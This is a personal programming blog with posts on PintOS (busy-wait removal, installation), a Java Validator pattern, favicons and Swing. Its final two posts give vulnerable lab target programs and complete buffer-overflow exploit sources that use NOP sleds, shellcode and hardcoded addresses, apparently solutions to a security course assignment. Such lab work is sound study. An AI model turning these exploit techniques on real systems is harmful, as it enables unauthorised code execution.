Avoiding Busy Wait in timer_sleep() on PintOS

May 6, 2011 Leave a comment

In device.c:

 /* Sleeps for approximately TICKS timer ticks.  Interrupts must
 be turned on. */
 void
 timer_sleep (int64_t ticks)
 {
  int64_t start = timer_ticks ();
  ASSERT (intr_get_level () == INTR_ON);
  while (timer_elapsed (start) < ticks)
    thread_yield ();
 }

As we can see on the code above, when the timer_sleep() is called,  it goes to a “while” loop until the timer elapsed time is bigger than the ticks. This is a wasted CPU resource as it will remain idle until the timer has expired. To counter this problem, let’s go to thread.h file and introduce a modified thread structure in the file:

thread.h

struct thread
{
 /* Owned by thread.c. */
 tid_t tid;                          /* Thread identifier. */
 enum thread_status status;          /* Thread state. */
 char name[16];                      /* Name (for debugging purposes). */
 uint8_t *stack;                     /* Saved stack pointer. */
 int priority;                       /* Priority. */
 struct list_elem allelem;           /* List element for all threads list. */
 /* Shared between thread.c and synch.c. */
 struct list_elem elem;              /* List element. */
 int64_t sleep_ticks;                /* time to sleep in ticks */
 #ifdef USERPROG
 /* Owned by userprog/process.c. */
 uint32_t *pagedir;                  /* Page directory. */
 #endif
 /* Owned by thread.c. */
 unsigned magic;                     /* Detects stack overflow. */
};

Now if you look closely, we have added sleep_ticks variable in the thread structure to detect how many ticks the thread has to sleep. So, let’s modify the timer_sleep():

timer.c

/* Sleeps for approximately TICKS timer ticks.  Interrupts must
be turned on. */
void
timer_sleep (int64_t ticks)
{
 ASSERT (intr_get_level () == INTR_ON);
 // assign requested sleep time to current thread
 thread_current()->sleep_ticks = ticks;
 // disable interrupts to allow thread blocking
 enum intr_level old_level = intr_disable();
 // block current thread
 thread_block();
 /* set old interrupt level which was used before the current thread was blocked
 to ensure that no other logic crashes */
 intr_set_level(old_level);
}

What the code does is that we assign the sleep_ticks variable of the thread with the defined ticks. We disable our interrupt handle to ensure serialization and block the thread in the thread_block(). Now, the timer_interrupt() will always be called for each elapsed tick:

timer.c

/* Timer interrupt handler. */
static void
timer_interrupt (struct intr_frame *args UNUSED)
{
 ticks++;
 thread_tick ();
 // Check each thread with wake_threads() after each tick. It is assumed that
 // interrupts are disabled  because timer_interrupt() is an interrupt handler.
 thread_foreach(wake_threads, 0);
}

The thread_foreach() will check every thread and execute wake_threads(). And for your information, we have to define that wake_threads() in our timer.c. It basically a function to check whether a thread has to wake up or not.

timer.c

/**
* Function for waking up a sleeping thread. It checks
* whether a thread is being blocked. If TRUE, then
* check whether the thread's sleep_ticks has reached 0 or not
* by decrementing it on each conditional statement.
* If the thread's sleep_ticks has reached 0, then unblock the
* sleeping thread.
*/
static void
wake_threads(struct thread *t, void *aux)
{
 if(t->status == THREAD_BLOCKED)
 {
  if(t->sleep_ticks > 0)
  {
   t->sleep_ticks--;
   if(t->sleep_ticks == 0)
   {
    thread_unblock(t);
   }
  }
 }
}

Essentially, when the wake_threads() is called, it checks if the current thread is being blocked. If it is blocked, then we know that the thread is currently asleep. If the ticks of that thread has not expired (not equal to 0), then we need to decrement the ticks of that thread to indicate that one tick has passed. If the ticks of that thread has expired (equal to 0), now we know that it is okay for the thread to wake up (We perform an unblock() operation to that particular thread).

Installing PintOS on Linux Ubuntu 10

May 3, 2011 3 comments

I guess the title is a little bit misleading and I think you can do this in any kind of Linux distribution you can find. However, I tried this method in Ubuntu 10 and it works perfectly. Also, although I state this as installing PintOS on Ubuntu 10, what I’m doing is rather installing PintOS on a Boschs virtual machine on Linux. But since that will be a long-ass title, I think this is simpler.

Anyway, let’s get busy! PintOS is actually a small operating system with limited functionalities. Perhaps the reason for using such crappy OS is to make yourself acquaintance with how OS really works by implementing synchronization, memeory management, scheduler, and other things that an OS does. I will try to post a sample problem concerning operating system if I have time, but now, let’s focus on how to get it done.

1. Downloading PintOS

Well of course you have to download it first to get this done. If you don’t know how to find one, you can use the link I provide you with:

http://courses.mpi-sws.org/os-ss11/assignments/pintos/pintos.tar.bz2

Untar the file and put in the directory of your choice. In this case I use /home/kazasou/workspace-os.

2. Installing Bochs

Boschs is a virtual machine that is suitable for running PintOS. You can actually can use other virtual machine such as Qemu or VMware Player, but in this case, I think I will use Boschs. The assignment that was given instructed to use the binary version of Bochs but I guess for simplicity, I like it to just install the Boschs application. So, in your terminal, type:

sudo apt-get install bochs

You might also required a Bochs-x installation for the GUI of the Boschs virtual machime so let’s do that also:

sudo apt-get install bochs-x

If you are done with your Bochs installation, let’s proceed to the next part.

3. Configuring environment for PintOS

Next part is to direct the Bochs application to your PintOS and create a bash script so you can run PintOS command on your terminal. Make sure you have the tcsh command for your terminal. If not, then you can just simply install tcsh by typing:

sudo apt-get install tcsh

Once you have the tcsh command, type:

tcsh

to go to a tcsh shell and create a file .tcshrc in your home directory (/home/kazasou). You can use vi or vim to edit the .tcshrc script but I personally love to use vim:

sudo apt-get install vim

vim .tcshrc

In the .tschrc file, put this line:

set path = (/home/kazasou/workspace-os/pintos/src/utils $path)

Notice that the path of the PintOS directory should resemble the directory of PintOS you have put into. If you have put the line, save the file and invoke source command to compile the .tcshrc script:

source .tcshrc

Now, exit the .tcshrc shell to return to your bash shell. Edit the .bashrc script on your home directory:

vim .bashrc

Run along to the end of the line and add the following line in the .bashrc file:

export PATH=”/home/kazasou/workspace-os/pintos/src/utils:$PATH”

Notice also that the PATH has to point to the directory of PintOS you have put in. If you are done, then you have successfully have a running PintOS at your disposal.

4. Running PintOS

Preferably, I like to install build-essential just to make sure I can compile the source file in the PintOS directory:

sudo apt-get install build essential

But if you are able to already compile PintOS source or C file then I guess you are okay to go. So, let’s try to run alarm-multiple test in the PintOS directory. Go to the ../pintos/src/thread/ and run make command. Then, run the alarm-multiple by typing:

pintos — run alarm-multiple

If this brings you to a Bochs interface and run the alarm-multiple, then PintOS has successfully run in your system. Congratulation!

The Validator Pattern

For my first contribution, I’ve decided to say something about the Validator pattern. Actually, I don’t know whetherthis is the official name for this design pattern, but I haven’t found any corresponding literature.

The first time I got in touch with the Validator pattern was When I worked on a big GWT project. There are a lot of different open implementations of this pattern available. However, I didn’t utilized one of them since they didn’t fit to my requirements. Though, I’ve got some inspiration by their provided API  (e.g. http://gwt-vl.sourceforge.net/?to=clientDoc).

In my project, I had to implement a lot of client-side input validations which were all almost identical such as input must not be empty, input must be a number and so on. Or course, the reactions triggered by proper or inproper input were also not really different: If an the input is not valid, show an error message and higlight the  affected input element. If everything is allright, send a request to the server  side etc.

if(inputName.getText().isEmpty())
{
   focus(inputName);
   showErrorMsg("Input Field Name must not be empty!");
}
else
{
   if(inputPort.getText().isEmpty())
   {
     focus(inputPort);
     showErrorMsg("Input Field Port must not be empty!");
   } 
   else if( ! isNumber(inputPort.getText()))
   {
     focus(inputPort);
     showErrorMsg("Input Field Port must be a number!");
   }
   else 
   {
     configureServer();
   }
}

As you can see, the complexity even for such simple validations can increase very fast. Keep in mind, that this is just the client-side validation which means that we also have to apply at least those funny validations one more time on the server-side. As you can see in the example above, some validations and their consequent actions are quite similiar. One way to reduce the complexity could be to write methods which handle this such as

public boolean check(TextField field)
{
   if(field.getText().isEmpty())
   {
     focus(field);
     showErrorMsg("Input Field " + field.getName() + " must not be empty");
     return false;
   }
   return true;
}

So what do we do, if some fields need a special treatment? Right! We write another method handling them:

public void performSpecialCheck(TextField field)
{
  if(field.getText().isEmpty())
  {
     focus(field);
     showErrorMsg("Input Field " + field.getName() + " must not be empty");
     disableAllOtherFields();
     return false;
  }
  return true;
}

As may have noticed, there will be more than one “special treatment”. Another point is to write such methods with sequences of validations together with their drawbacks mentioned above:

public boolean checkNumberFields()
{
   if(inputPort.getText().isEmpty())
   {
     focus(inputPort);
     showErrorMsg("Input Field Port must not be empty!");
     return false;
   }
   else if( ! isNumber(inputPort.getText()))
   {
     focus(inputPort);
     showErrorMsg("Input Field Port must be a number!");
     return false;
   }
   return true;
}

Now, let’s have a look at the Validator pattern approach:

//-- Validatation preparations

IValidator emptyNameValidator  = new EmptyFieldValidator(inputName);
IValidator emptyPortValidator  = new EmptyFieldValidator(inputPort);
IValidator numberPortValidator = new NumberFieldValidator(inputPort);

//-- Set up the actions which shall be performed, if the validation is not successful
emptyNameValidator.addActionForFailure(new ErrorMsgAction(inputName));
emptyNameValidator.addActionForFailure(new FocusAction(inputName));

emptyPortValidator .addActionForFailure(new FocusAction(inputPort));
emptyPortValidator .addActionForFailure(new ErrorMsgAction(inputPort));
numberPortValidator.addActionForFailure(new FocusAction(inputPort));
numberPortValidator.addActionForFailure(new ErrorMsgAction(inputPort));

/*
 * Chain the set up validators. The validations are executed in the
 * specified order. If one of the validations within the chain fails,
 * the entire validation stops and the corresponding error actions
 * of the affected validation are performed as well as the failure
 * action of the chain itself. Analogously, successful validations
 * are handled.
 */
ValidatorChain entireValidationChain = new ValidatorChain();
entireValidationChain.addValidator(emptyNameValidator);
entireValidationChain.addValidator(emptyPortValidator);
entireValidationChain.addValidator(numberPortValidator);
entireValidationChain.addActionForSuccess(new IValidatorAction()
{
   public void performAction()
   {
      configureServer(); 
   }
});

//-- Prepared Validation in action
boolean success = entireValidationChain.validate();

OK, it’s a matter of taste whether this example is more or less complex than the previous one. I justed wanted to give you an idea how the pattern works basically. In my project, I created the validator instances within the constructors of the holding class using some helper methods or I utilized a customized validator (chain) (but this will be explained later). But, by all means, the entire validation has become more flexible as it was before.  I will explain why, after we had a look on the pattern and its specification:

/**
 * IValidator is responsible for one atomic validation task. The actual validation
 * is performed with the method validate(). If the validation is successful, validate()
 * returns true and all its success actions are performed according to the FIFO principle.
 * Analogously, failing validations are handled.
 */
public interface IValidator
{
  public boolean validate();
  public void addActionForSuccess(IValidatorAction action);
  public void addActionForFailure(IValidatorAction action);
  public void removeActionForSuccess(IValidatorAction action);
  public void removeActionForFailure(IValidatorAction action);
}

/**
 * Chains multiple IValidator instance. Note that IValidatorChain extends
 * the IValidator interface. When validate() is performed, the validate()
 * method of all added validators performed (FIFO). If all validations have
 * been successful, validate() returns true and registered success actions are
 * performed. Otherwise, if one validation is not successful, the remaining
 * validations are not performed, false is returned and the registered failure
 * actions are performed.
 */
public interface IValidatorChain extends IValidator
{ 
  public void addValidator(IValidator validator);
  public void removeValidator(IValidator validator);
}

/**
 * Represents an action which is performed by an IValidator for success
 * or failure.
 */
public interface IValidatorAction
{
   public void performAction();
}

/**
 * Serves for chaining multiple IValidatorActions. This chain
 * is usually used implementing customized actions.
 */
public interface IValidatorActionChain extends IValidatorAction
{
  public void addValidatorAction(IValidatorAction action);
  public void removeValidatorAction(IValidatorAction action);
}

As you can see, the Validator pattern is quite simple but provides high flexibility. Now, let’s have a look at the modified versions of our checker methods:

// reimplementation of method check(TextField field)
public IValidator createBasicValidator(TextField field)
{
   IValidator validator  = new EmptyFieldValidator(field);
   validator.addActionForFailure(new ErrorMsgAction(field));
   validator.addActionForFailure(new FocusAction(field));
   return validator
}

// reimplementation of method checkNumberFields(TextField field)
public IValidator createValidatorForNumberFields(TextField field)
{
  IValidator basicValidator    = createBasicValidator(field);
  IValidator numberValidator = new NumberFieldValidator(field);

  numberValidator.addActionForFailure(new FocusAction(inputName));
  numberValidator.addActionForFailure(new ErrorMsgAction(inputName));

  IValidatorChain chain = new ValidatorChain();
  chain.addValidator(basicValidator);
  chain.addValidator(numberValidator);

   return numberValidator;
}

If we consider createValidatorForNumberFields(), we can see how we can reuse a conditional statement and customize it which wasn’t possible with our ordinary checker methods. However, there is just place for optimization. For example, we can subsume the validator actions:

public IValidatorAction createBasicErrorAction(TextField field)
{
   IActionChain chain = new ActionChain();
   chain.addValidatorAction(new ErrorMsgAction(field));
   chain.addValidatorAction(new FocusAction(field));
   return chain;
}

IValidator validator  = new EmptyFieldValidator(field);
validator.addActionForFailure(createBasicErrorAction(field));

One further example for emphasizing the flexibility is as follows:

public class MyValidator extends AValidator
{
  private final IValidatorChain chain;

  public MyValidator(TextField field)
  {
    IActionChain successActions = new MyStandandardSuccessActions(field);
    IActionChain failureActions = new MyStandandardFailureActions(field);

    IValidator emptyValidator = new EmptyFieldValidator(field);
    emptyValidator.addActionForSuccess(successActions); 
    emptyValidator.addActionForFailure(failureActions);

    IValidator numValidator = new NumberFieldValidator(field);
    numValidator.addActionForSuccess(successActions);
    numValidator.addActionForFailure(failureActions);

   this.chain = new ValidatorChain();
   this.chain.addValidator(emptyValidator);
   this.chain.addValidator(numValidator);

   IValidatorChain someOtherUsefulValidations = new SomeOtherUsefulValidationChain(text);
   this.chain.addValidator(someOtherUsefulValidations);

   this.chain.addActionForSuccess(new IValidatorAction() 
  {
    // do something
  });
 }

  public boolean performAction()
  {
    return this.chain.validate();
  }
}
}

Conclusion
The Validator pattern provides a flexible way for reusing and customizing frequently used validations. However, one should take care of not overdoing  this since the validations could get too nested and intransparent. However, due to the resulting overhead, one should just use them for GUI implementations. If the overhead is not relevant for the project, one could reuse some customized validators at the client as well as the server side which makes sense, if the server has to perform the same validations (and resulting actions) as the client does.

FavIcon: Adding Logo to Your Website Address Bar

December 8, 2010 1 comment

Hello newbie web programmer. Do you still can’t figure out or wondering how to do this?

3-7-2009-12-15-08-pm2

Well, this is a simple thing to do. Create your icon by using Photoshop or Corel Draw and save it using .ico format. Name your icon file to be favicon.ico. By the way, if you’re using Photoshop, you might want to download the plugins to export .ico file. The download source you can use is: http://www.telegraphics.com.au/sw/

To be specific, the icon size of the address bar is originally 16 x 16 pixels. However, most browser can resize it if you make your icon file to be too large. I recommend you do the icon in 64 x 64 pixels and then resample it to 16 x 16 pixels.

Now, you are ready to upload your favicon.ico to your server. Put the icon on the root directory of your index / home page. That way, all your page which resides in the same folder or in the subfolder will automatically use the favicon.ico you have put in the root directory. Alternatively, you can set your favicon.ico manually inside your html page  by adding <link rel=”Shortcut Icon” href=”/favicon.ico”> or <link rel=”icon” href=”/favicon.ico” type=”image/x-icon”> in the head tag of each page you want the icon to appear.

You can also use GIF and PNG format for your address bar icon. However, this won’t work on Internet Explorer. Just add the following in each of the page:

<link rel=”icon” href=”/favicon.png” type=”image/png”> for PNG format or
<link rel=”icon” href=”/favicon.gif” type=”image/gif”> for GIF format

If your done, just refresh your page and there you have it, your own website address bar icon. Don’t forget to clean up your cache though so your browser doesn’t reload the old website.

JAVA Programming: Working With Swing Library

December 8, 2010 Leave a comment

Time for some JAVA action everyone. For today, let’s make an application interface that looks like this:

3-10-2009-2-54-56-pm

Step 1: Importing the library

To actually access the objects in the swing library, you have to import the swing library. So, start your JAVA file with:

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.io.*;

Now, you have the access of swing objects and some additional object such as Listener object that will react on an event like mouse click or keyboard pressed.

Step 2: Constructing the class

Now, you have to choose the class name which will be the template of the application:

public class LibraryMDI implements ActionListener {
}

this class is named LibraryMDI and implements ActionListener. ActionListener is the event library that will provide you with the capability of listening to an event that user do in your application (in this case, we want the toolbar to react to a user’s mouse click). Now, you can save your work and name your class LibraryMDI.java.

Step 3: Constructing the frame

Just like any other application, the frame is a window to components in an application such as toolbar, menu, workspace, and any other else. To construct the frame, all you need to do is:

private JFrame frame;
public LibraryMDI() {
 this.frame = new JFrame(“Library Information System”);
}

This will create a frame object that has a header title “Library Information System”.

Step 4: Arrange your frame for the components

Next, you will have to arrange your frame so that the components can be neatly placed in the frame. If you look at the picture, you will see that we need 4 space. The upper part where to put our toolbar icon, the middle part where the workspace will be placed, the right part where to put the logo image and memory monitor, and the bottom part to place the text “Library Information System — Created by Souza Nurafrianto IT5B”.

So, you have to define a panel and a layout for the panel to do this job. A panel is an invisible board which the components can be placed to it and layout is how the panel will arrange the components. So, define these components in your global variable:

private JPanel subMenu = new JPanel();
private BorderLayout subLayout = new BorderLayout();

We use BorderLayout as our layout because we only need to seperate four tiles in our panel (upper, middle, right, and bottom). BorderLayout does the job since it has up to 5 splitting tiles (north, west, center, east, and south). Consider the arrangement in the BorderLayout just like the compass: north for upper, west for right, etc. Now, you have to add four of the main components which will be placed in the subMenu panel (the toolbar, workspace, right panel, and bottom panel) as your global variable:
private JDesktopPane desktop = new JDesktopPane();
private JToolBar toolbar = new JToolBar(“Command Docker”, JToolBar.HORIZONTAL);
MessageBox box = new MessageBox(); // MessageBox class for right panel
private JPanel pMtitle = new JPanel();

Now, arrange these components into the your subMenu panel in your constructor class “public LibraryMDI()”:

subMenu.setLayout(subLayout);
subMenu.add(toolbar, BorderLayout.NORTH);
subMenu.add(this.desktop, BorderLayout.CENTER);
subMenu.add(box, BorderLayout.EAST);
subMenu.add(pMTitle, BorderLayout.SOUTH);

So, you have arranged these components into subMenu panel. Now, the subMenu panel has four components in it, toolbar which resides in the upper part, desktop which resides in the center (or right since WEST is not used), box which resides in the right, and pMTitle which resides in the bottom.

Step 5: Adding your toolbar some buttons

The toolbar that we just inserted in the subMenu panel still doesn’t have buttons, so let’s add a button. To define a button in swing you can use JButton:

private JButton btn1 = new JButton(new ImageIcon(getImage(“icon\\addItem.gif”)));

JButton can either receive ImageIcon or String. In this case, ImageIcon will put the button with a picture. You can also use a tool tip so that whenever you hover your mouse to the button, a text balloon will appear to describe what does the button do:

btn1.setToolTipText(“Order Resource”);

Next, put the button in the toolbar:

toolbar.add( btn1 );

Now, your toolbar has a button that can be pressed. However nothing will happen if you pressed it.

Step 6: Adding EventListener to the button

Now, you want the button to react if a user press on it, right? Remember that our LibraryMDI implements the ActionListener class? You can use the method to create a listener which will listen to any particular event done by the user. So, put the listener to the button:

btn1.addActionListener(this);
btn1.setActionCommand(“Order Resource”);

“this” in this context means that the button will go to the ActionListener of this particular class (the LibraryMDI class). Therefore, you have to define a method called “actionPerformed (ActionEvent e)” to catch any event that user’s made (if you don’t use “this”, the event that happened will not be catched by the actionPerformed of the LibraryMDI class). So, fill your method with this:

actionPerformed (ActionEvent e) {
 String command = e.getActionCommand();
 if (command.equals(“Order Resource”)) {
  System.out.println(“Order Resource was pressed”);
 }
}

Remember that we have defined if btn1 was pressed it will send a string “Order Resource” to the actionPerformed method (since you set the btn1.setActionCommand to be “Order Resource”). So, whenever ActionEvent contains “Order Resource” string, it knows that btn1 has been pressed by the user. Thus, the system will print “Order Resource was pressed” string in the command prompt.

Step 7: Inserting image to the workspace

Well, you want your workspace to have a background, right? Instead of plain white, you want to add logo and stuff to the workspace. To do this, just right this simple code:

Image a = Toolkit.getDefaultToolkit().getImage(System.getProperty(“user.dir”) + “\\image\\icon\\brokeBuckWall.jpg”);
this.desktop.setImage(a);

This will set the desktop with the image \image\icon\brockBuckWall.jpg.

Step 8: Putting it together to the frame

Now, your components are finished. Time to put it to the frame and show it to the world. Configure and place the subMenu panel to the frame:

this.frame.getContentPane().add(subMenu);
this.frame.setSize(1000,660);
this.frame.setResizable(false);
this.frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
this.frame.show();

There you go your frame is done and ready for testing. Just do your usual “public void static main(String[] args)” and call on the object of LibraryMDI class.

Anyway, that was just a simple explanation how to do it. I’ll include the more sophisticated yet elegant way in the file that you can download below. Just execute the compile.bat to run the program.

File Name: Library Application (LISA)

File Size: 568 KB

Download: http://www.4shared.com/file/92343649/a1b6f2e5/LibraryApplication.html

Buffer Overflowing Target 7

December 5, 2010 3 comments

target7.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void nstrcpy(char *out, int outl, char *in)
{
 int i, len;

 len = strlen(in);
 if (len > outl)
  len = outl;

 for (i = 0; i <= len; i++)
  out[i] = in[i];
}

void bar(char *arg)
{
 char buf[300];

 nstrcpy(buf, sizeof buf, arg);
}

void foo(char *argv[])
{
 int *p;
 int a = 0;
 p = &a;

 bar(argv[1]);

 *p = a;

 _exit(0);
 /* not reached */
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target7: argc != 2\n");
  exit(EXIT_FAILURE);
 }

 foo(argv);

 return 0;
}

sploit7.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target7"

int main(void)
{
 char *args[3];
 char *env[1];
 int x = 300;
 char buf[x]; 
 int i;

 for(i = 0; i < x+1; i++){
  if(i<236-strlen(shellcode))
   buf[i] = '\x90';
  else if(i<236)
   buf[i] = shellcode[i-236+strlen(shellcode)];
  else if(i<292)
   buf[i] = '\x90';
  //for a
  else if(i<293)
   buf[i] = '\x0c';
  else if(i<294)
   buf[i] = '\xfc';
  else if(i<295)
   buf[i] = '\xff';
  else if(i<296)
   buf[i] = '\xbf';
 
  //for p
  else if(i<297)
   buf[i] = '\x24';
  else if(i<298)
   buf[i] = '\x97';
  else if(i<299)
   buf[i] = '\x04';
  else if(i<300)
   buf[i] = '\x08';
 
  else 
   buf[i] = '\x38';
 }
 
 args[0] = TARGET; args[1] = buf ; args[2] = NULL;
 env[0] = NULL;

 if (0 > execve(TARGET, args, env))
  fprintf(stderr, "execve failed.\n");

 return 0;
}

Buffer Overflowing Target 5

December 5, 2010 Leave a comment

target5.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[], char *env[])
{
 int j = 0;
 size_t (*fp)(const char*) = &strlen;
 int i = 0;
 char buf[16];

 if (argc != 2)
 {
  fprintf(stderr, "target5: argc != 2\n");
  exit(EXIT_FAILURE);
 }

 if (env[0] != NULL)
 {
  fprintf(stderr, "target5: env[0] != NULL\n");
  exit(EXIT_FAILURE);
 }

 strcpy(buf,argv[1]);

 if (!i) {
  j++;
  (*fp)(buf);
 } else {
  exit(EXIT_FAILURE);
 }
 
 return 0;
}

sploit5.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target5"

int main(void)
{
 char *args[3];
 char *env[2];
 char buf[24];
 char egg[strlen(shellcode) + 1];
 int i = 0;
 
 for(i = 0; i < 24; i++){
  if(i < 20)
   buf[i] = '\x90';
  else if (i<21)
   buf[i] = '\xa8';
  else if (i<22)
   buf[i] = '\xff'; 
  else if (i<23)
   buf[i] = '\xff';
  else if(i<24)
   buf[i] = '\xbf';
 }
 for(i = 0; i < (strlen(shellcode) + 1); i++){ 
  if(i< (strlen(shellcode)))
   egg[i] = shellcode[i];
  else
   egg[i] = '\x00';
 }

 args[0] = egg; args[1] = buf; args[2] = NULL;
 env[0] = NULL;
 
 if (0 > execve("/tmp/target5", args, env))
  fprintf(stderr, "execve failed.\n");

 return 0;
}
Follow

Get every new post delivered to your Inbox.